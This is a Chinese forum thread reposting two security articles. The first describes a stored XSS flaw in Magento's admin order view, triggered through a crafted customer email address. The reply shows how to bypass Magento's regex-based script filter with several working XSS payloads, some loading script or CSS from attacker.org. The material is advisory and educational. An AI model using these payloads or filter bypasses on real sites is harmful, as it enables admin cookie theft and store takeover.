请选择 进入手机版 | 继续访问电脑版

衡水摄影网

 找回密码
 立即注册
快捷导航
查看: 132|回复: 1

Magento info.phtml存在XSS漏洞,在线商城可被攻击者操控 [复制链接]

Rank: 8Rank: 8

发表于 2017-12-12 06:59:02 |显示全部楼层
/app/design/adminhtml/default/default/template/sales/order/view/info.phtml


Magento是一套开源的电子商务系统,是主要面向企业的应用,可处理电子商务各方面的需求,包括像购物、航运、产品评论等等,最终为建设一个多用途和适用面广的电子商务网站提供帮助。

Magento项目小组目前已经发布补丁,修复Magento上一个高危的安全漏洞。

漏洞信息

这个漏洞是一个存储型XSS,是安全厂商Sucuri于2015年11月10日发现的,可实施攻击的场景为:当用户注册一个新账户时或者当用户更改当前账户的邮件地址时等涉及到邮箱账号提交的场景。

该问题关键在于CMS(内容管理系统)如何过滤在用户侧输入的包含邮件地址信息的数据。据Sucuri的研究发现,Magento并没有有效地对邮件地址中可能存在的恶意字符进行过滤。

这种不安全的数据过滤机制能够让攻击者在输入电子邮箱的同时附加上恶意代码。

漏洞分析

这个问题存在于Magento中的app/design/adminhtml/default/default/template/sales/order/view/info.phtml

正如从上面的代码段中看到的,template会将getcustomeremail方法的返回值(即用户填入的邮箱地址)传递到管理面板上。而继续我们的分析,在以下代码段中也有所发现:

根据上述的代码段编写的规则,Magento可以接受两种不同的邮件格式:

1、一种较为常见,没有双引号,没有“<”符号等等;2、另外一种,为引用字符串格式,它几乎可以接受任何可打印字符,只要输入数据的周围有两个双引号。

此刻,从理论上,我们尝试使用比如“>alert(1);”@sucuri.net 作为用户账号邮箱,提交一个订单,接着观察当管理员在后台管理面板上查看我们提交的订单时会发生什么情况?

上图的结果证实了我们的猜测,Magento确实存在一个XSS漏洞。

漏洞的易利用性

正如前面的POC结果展示的,如果攻击者接着利用像上述所说的带有恶意代码的邮箱地址的账户下了一个订单,当网站管理员在后台打开这个订单时,那么恶意代码将会执行。而基于攻击的原理,该漏洞其实对于任何攻击者来说都是容易掌握利用的。

比如JS代码能被用于访问cookies,所以攻击者可以通过窃取管理员的cookies,随后用于非法访问站点。当然,也可以实施其他的攻击,攻击的方式也取决于攻击者的技术能力。

WordPress站点此前也面临同样问题

从原理上来看, 该漏洞类似于Sucuri在10月份发现的存在于 Jetpack WordPress plugin的一个XSS漏洞。Jetpack WordPress plugin的XSS漏洞同样也是攻击者可以通过将恶意代码附加到邮箱地址,并通过反馈的形式发送到后台,因此导致在后台执行恶意代码。

受影响版本

目前受影响的版本包括Magento 社区版1.9.2.3及更早版本,Magento 企业版 1.14.2.3及更早版本,当前的2.x版本并未受该问题的影响。

如果还运行着Magento的老版本,网站管理员需尽快升级在线商城。

*参考来源:sucurisoft,FB小编troy编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)


使用道具 举报

Rank: 8Rank: 8

发表于 2017-12-12 07:19:16 |显示全部楼层
XSS 攻击是一种攻击者将 JavaScript 代码注入到用户运行页面中的攻击。为了避免这种攻击,一些应用会尝试从用户输入中移除 JavaScript 代码,但这很难完全实现。在本文中会先展示一些尝试过滤 JavaScript 的代码,并随后给出其绕过方法。

以一个网上商城应用 Magento 中的过滤类 Mage_Core_Model_Input_Filter_MaliciousCode 为例,部分代码如下:

protected $_expressions = array(
    '/(\/\*.*\*\/)/Us',
    '/(\t)/',
    '/(javascript\s*/Usi',
    '/(@import)/Usi',
    '/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*)[^<]*(?=\>)/Uis',
    '/(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=\>)/Uis',
    '/<\/?(script|meta|link|frame|iframe).*>/Uis',
    '/src=[^<]*base64[^<]*(?=\>)/Uis',
);

function filter($value) {
    return preg_replace($this->_expressions, '', $value);
}
数组 $_expressions 中包含一系列用于过滤的正则表达式,然后通过使用 preg_replace 函数进行恶意代码的过滤。所以当尝试输入 <script>foo</script> 时,两个标签都会被移除而只剩下 foo。

下面我们来看一下一些绕过的方法。我们的目标是利用一些 HTML 来执行 JavaScript,上述一些正则表达式是为了过滤如下:

过滤的正则        可能的利用
(javascript\s*        <a href="javascript:alert('xss')">
@import        @import url(http://attacker.org/malicious.css)
style=…        <div style="color: expression(alert('XSS'))">
<script…        <script>alert("XSS")</script>
ondblclick|onclick|…         
Javascript URL

链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:

<a href="javascript:alert('test')">link</a>
上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:

<a href="javascript:alert('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。

另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:

<a href='vbscript:MsgBox("XSS")'>link</a>

CSS import

IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。

<style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css:

body {
    color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:

<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。

行内样式(Inline style)

我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:

<div style="color: expression(alert('XSS'))">
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:

/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*)[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:

<div style="color: '<'; color: expression(alert('XSS'))">
这就绕过了过滤器,同时也是一个有效的 CSS。尽管 < 不是一个有效的颜色,但其他部分都是可以运行的。

JavaScript 事件

我们可以像如下这样在元素中定义 JavaScript 事件:

<div onclick="alert('xss')">
这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:

<div onmouseenter="alert('xss')">
当用户鼠标移动到 div 上时就会触发我们的代码。

另一个绕过的办法就是在属性和= 之间插入一个空格。Magento 在新版中依旧修复了这一问题。

<div onclick ="alert('xss')">
Script 标签

Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>
而我们的过滤器移除了所有的 <script> 标签。然而,它只进行一次移除操作,所以我们希望在进行移除操作后保留下我们的目标代码:

<scr<script>ipt>alert("XSS")</scr<script>ipt>
过滤器会移除两个 <script> 标签,而余下的代码正是我们所希望得到的。事实上,这种嵌套的方法可以用来绕过所有基于正则表达式的过滤。

总结

尽管过滤器试图尽可能的阻止脚本注入,但我们还是发现了绕过它们的方法。要创建一个防止 XSS 攻击的过滤器是相当不容易的,需要同时考虑多类型的编码和一些不同浏览器的特性。这就使得它对开发人员来说非常困难,但是对攻击者来说却很容易。

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册